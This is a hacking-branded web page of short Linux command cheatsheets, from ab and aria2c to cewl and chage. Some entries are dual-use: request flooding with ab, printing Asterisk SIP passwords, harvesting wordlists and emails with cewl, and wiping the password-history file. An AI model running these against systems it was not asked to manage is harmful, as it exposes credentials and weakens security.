No Category
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
Miscellaneous Linux commands encompass a wide range of tools and utilities that perform various system management and maintenance tasks. These commands are essential for day-to-day operations, troubleshooting, and optimizing system performance. They include tools for text processing, mathematical calculations, data formatting, and system configuration.
Text processing commands, such as those for searching, replacing, and manipulating text, are invaluable for handling large volumes of text data efficiently. They automate repetitive tasks and are widely used in scripting and data analysis. Commands for mathematical calculations provide quick and accurate results for complex computations, enhancing productivity.
Data formatting commands help in organizing and presenting data in a readable and structured manner. They are used for tasks such as sorting, filtering, and transforming data, making it easier to analyze and interpret. System configuration commands allow administrators to manage system settings, user accounts, and hardware components, ensuring that the system operates smoothly and securely.
Additionally, miscellaneous commands include tools for monitoring system performance, managing processes, and checking system logs. These commands provide insights into system health and help identify and resolve issues promptly. They are essential for maintaining system stability and reliability.
Overall, miscellaneous Linux commands are indispensable for effective system administration. They enhance productivity, simplify complex tasks, and provide the tools needed to manage and maintain a Linux system efficiently. Whether for personal use or in a professional setting, these commands play a vital role in ensuring a well-functioning and optimized computing environment.
1 - 🖥️ab
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ab command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# █████╗ ██████╗
# ██╔══██╗██╔══██╗
# ███████║██████╔╝
# ██╔══██║██╔══██╗
# ██║ ██║██████╔╝
# ╚═╝ ╚═╝╚═════╝
# send 100 requests with a concurency of 50 requests to an URL
ab -n 100 -c 50 http://www.example.com/
ab -n 100 -c 10 "http://www.poorwebsite\.com/"
# Use the apache benchmarking client to make 100 requests, 10 at a time and get the results.
# send requests during 30 seconds with a concurency of 50 requests to an URL
ab -t 30 -c 50 URL http://www.example.com/
#==============================##==============================#
# CMD AB #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ab in a clear format. This allows users to quickly access the needed information for ab without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ab are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
2 - 🖥️animate
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the animate command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# █████╗ ███╗ ██╗██╗███╗ ███╗ █████╗ ████████╗███████╗
# ██╔══██╗████╗ ██║██║████╗ ████║██╔══██╗╚══██╔══╝██╔════╝
# ███████║██╔██╗ ██║██║██╔████╔██║███████║ ██║ █████╗
# ██╔══██║██║╚██╗██║██║██║╚██╔╝██║██╔══██║ ██║ ██╔══╝
# ██║ ██║██║ ╚████║██║██║ ╚═╝ ██║██║ ██║ ██║ ███████╗
# ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚══════╝
animate http://climagic\.org/images/rice-spinner.gif
# ImageMagick's command 'animate' allows you to view animated gifs direct from the URL.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command animate in a clear format. This allows users to quickly access the needed information for animate without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for animate are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
3 - 🖥️arch
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the arch command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# █████╗ ██████╗ ██████╗██╗ ██╗
# ██╔══██╗██╔══██╗██╔════╝██║ ██║
# ███████║██████╔╝██║ ███████║
# ██╔══██║██╔══██╗██║ ██╔══██║
# ██║ ██║██║ ██║╚██████╗██║ ██║
# ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
#The arch command is used to print the machine's architecture. For example:
$ arch
i686
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command arch in a clear format. This allows users to quickly access the needed information for arch without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for arch are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
4 - 🖥️aria2c
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the aria2c command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# █████╗ ██████╗ ██╗ █████╗ ██████╗ ██████╗
# ██╔══██╗██╔══██╗██║██╔══██╗╚════██╗██╔════╝
# ███████║██████╔╝██║███████║ █████╔╝██║
# ██╔══██║██╔══██╗██║██╔══██║██╔═══╝ ██║
# ██║ ██║██║ ██║██║██║ ██║███████╗╚██████╗
# ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚══════╝ ╚═════╝
# Just download a file
# The url can be a http(s), ftp, .torrent file or even a magnet link
aria2c <url>
# To prevent downloading the .torrent file
aria2c --follow-torrent=mem <url>
# Download 1 file at a time (-j)
# continuing (-c) any partially downloaded ones
# to the directory specified (-d)
# reading urls from the file (-i)
aria2c -j 1 -c -d ~/Downloads -i /path/to/file
#==============================#
# CMD ARIA2C
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command aria2c in a clear format. This allows users to quickly access the needed information for aria2c without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for aria2c are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
5 - 🖥️asterisk
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the asterisk command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# █████╗ ███████╗████████╗███████╗██████╗ ██╗███████╗██╗ ██╗
# ██╔══██╗██╔════╝╚══██╔══╝██╔════╝██╔══██╗██║██╔════╝██║ ██╔╝
# ███████║███████╗ ██║ █████╗ ██████╔╝██║███████╗█████╔╝
# ██╔══██║╚════██║ ██║ ██╔══╝ ██╔══██╗██║╚════██║██╔═██╗
# ██║ ██║███████║ ██║ ███████╗██║ ██║██║███████║██║ ██╗
# ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚═╝ ╚═╝
#==============================#
# CMD ASTERISK
#==============================##==============================#
# To connect to a running Asterisk session:
asterisk -rvvv
# To issue a command to Asterisk from the shell:
asterisk -rx "<command>"
# To originate an echo call from a SIP trunk on an Asterisk server, to a specified number:
asterisk -rx "channel originate SIP/<trunk>/<number> application echo"
# To print out the details of SIP accounts:
asterisk -rx "sip show peers"
# To print out the passwords of SIP accounts:
asterisk -rx "sip show users"
# To print out the current active channels:
asterisk -rx "core show channels"
#==============================##==============================#
# CMD ASTERISK
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command asterisk in a clear format. This allows users to quickly access the needed information for asterisk without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for asterisk are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
6 - 🖥️Bash-Snippets
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the Bash-Snippets command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ █████╗ ███████╗██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ██████╗ ███████╗████████╗███████╗
# ██╔══██╗██╔══██╗██╔════╝██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔══██╗██╔════╝╚══██╔══╝██╔════╝
# ██████╔╝███████║███████╗███████║█████╗███████╗██╔██╗ ██║██║██████╔╝██████╔╝█████╗ ██║ ███████╗
# ██╔══██╗██╔══██║╚════██║██╔══██║╚════╝╚════██║██║╚██╗██║██║██╔═══╝ ██╔═══╝ ██╔══╝ ██║ ╚════██║
# ██████╔╝██║ ██║███████║██║ ██║ ███████║██║ ╚████║██║██║ ██║ ███████╗ ██║ ███████║
# ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝
# Bash-Snippets
# A collection of bash tools for heavy terminal users
# https://github.com/alexanderepstein/Bash-Snippets
# To install
git clone https://github.com/alexanderepstein/Bash-Snippets
cd Bash-Snippets
./install.sh all
# or to install an individual script
# ./install.sh stocks
# To uninstall
git clone https://github.com/alexanderepstein/Bash-Snippets
cd Bash-Snippets
./uninstall.sh
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command Bash-Snippets in a clear format. This allows users to quickly access the needed information for Bash-Snippets without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for Bash-Snippets are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
7 - 🖥️blktrace
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the blktrace command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██╗ ██╗ ██╗████████╗██████╗ █████╗ ██████╗███████╗
# ██╔══██╗██║ ██║ ██╔╝╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██╔════╝
# ██████╔╝██║ █████╔╝ ██║ ██████╔╝███████║██║ █████╗
# ██╔══██╗██║ ██╔═██╗ ██║ ██╔══██╗██╔══██║██║ ██╔══╝
# ██████╔╝███████╗██║ ██╗ ██║ ██║ ██║██║ ██║╚██████╗███████╗
# ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚══════╝
# blktrace
# blktrace is a block layer IO tracing mechanism which provides detailed information about request queue operations up to user space
# trace PC (non-filesystem requests, PC) on the /dev/sdb disk.
# blkparse generates human-readable formatting
blktrace /dev/sdb -a PC -o - | blkparse -i -
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command blktrace in a clear format. This allows users to quickly access the needed information for blktrace without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for blktrace are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
8 - 🖥️bonnie
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the bonnie command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ███╗ ██╗███╗ ██╗██╗███████╗
# ██╔══██╗██╔═══██╗████╗ ██║████╗ ██║██║██╔════╝
# ██████╔╝██║ ██║██╔██╗ ██║██╔██╗ ██║██║█████╗
# ██╔══██╗██║ ██║██║╚██╗██║██║╚██╗██║██║██╔══╝
# ██████╔╝╚██████╔╝██║ ╚████║██║ ╚████║██║███████╗
# ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═══╝╚═╝╚══════╝
# Bonnie++
# disk and file system benchmarking tool for measuring I/O performance
# benchmark disk mounted at /tmp/; use `user` for that
# skip per char IO test (-f)
# no write buffering (-b)
bonnie++ -d /tmp -s 16000M -n 0 -m TEST -f -b -u user
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command bonnie in a clear format. This allows users to quickly access the needed information for bonnie without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for bonnie are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
9 - 🖥️caffeinate
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the caffeinate command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ █████╗ ███████╗███████╗███████╗██╗███╗ ██╗ █████╗ ████████╗███████╗
# ██╔════╝██╔══██╗██╔════╝██╔════╝██╔════╝██║████╗ ██║██╔══██╗╚══██╔══╝██╔════╝
# ██║ ███████║█████╗ █████╗ █████╗ ██║██╔██╗ ██║███████║ ██║ █████╗
# ██║ ██╔══██║██╔══╝ ██╔══╝ ██╔══╝ ██║██║╚██╗██║██╔══██║ ██║ ██╔══╝
# ╚██████╗██║ ██║██║ ██║ ███████╗██║██║ ╚████║██║ ██║ ██║ ███████╗
# ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝ ╚══════╝
# caffeinate
# Prevent a system from sleeping (Mac OS X)
# Prevent mac from sleeping for 1 hour (3600 seconds):
caffeinate -u -t 3600
# Prevent mac from sleeping until a command completes:
caffeinate -s command
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command caffeinate in a clear format. This allows users to quickly access the needed information for caffeinate without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for caffeinate are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
10 - 🖥️cewl
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cewl command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗███████╗██╗ ██╗██╗
# ██╔════╝██╔════╝██║ ██║██║
# ██║ █████╗ ██║ █╗ ██║██║
# ██║ ██╔══╝ ██║███╗██║██║
# ╚██████╗███████╗╚███╔███╔╝███████╗
# ╚═════╝╚══════╝ ╚══╝╚══╝ ╚══════╝
# To spider a site and write all found words to a file
cewl -w <file> <url>
# To spider a site and follow links to other sites
cewl -o <url>
# To spider a site using a given user-agent
cewl -u <user-agent> <url>
# To spider a site for a given depth and minimum word length
cewl -d <depth> -m <min word length> <url>
# To spider a site and include a count for each word
cewl -c <url>
# To spider a site inluding meta data and separate the meta_data words
cewl -a -meta_file <file> <url>
# To spider a site and store email adresses in a separate file
cewl -e -email_file <file> <url>
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command cewl in a clear format. This allows users to quickly access the needed information for cewl without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for cewl are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
11 - 🖥️chage
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the chage command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗██╗ ██╗ █████╗ ██████╗ ███████╗
# ██╔════╝██║ ██║██╔══██╗██╔════╝ ██╔════╝
# ██║ ███████║███████║██║ ███╗█████╗
# ██║ ██╔══██║██╔══██║██║ ██║██╔══╝
# ╚██████╗██║ ██║██║ ██║╚██████╔╝███████╗
# ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝
chage -M -1 root; echo "" > /etc/security/opasswd
# Disable password expiration and clear password history for VMware vcenter appliance
# Expire a user's password immediately
chage -d 0 USERNAME
# Explanation: This will effectively force the user to change his/her password at next login.
# Limitations: Not in BSD. Yes in Linux. do not know in UNIX.
#==============================##==============================#
# CMD chage #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command chage in a clear format. This allows users to quickly access the needed information for chage without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for chage are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
12 - 🖥️cheat
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cheat command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗██╗ ██╗███████╗ █████╗ ████████╗
# ██╔════╝██║ ██║██╔════╝██╔══██╗╚══██╔══╝
# ██║ ███████║█████╗ ███████║ ██║
# ██║ ██╔══██║██╔══╝ ██╔══██║ ██║
# ╚██████╗██║ ██║███████╗██║ ██║ ██║
# ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝
# To see example usage of a program:
cheat <command>
# To edit a cheatsheet
cheat -e <command>
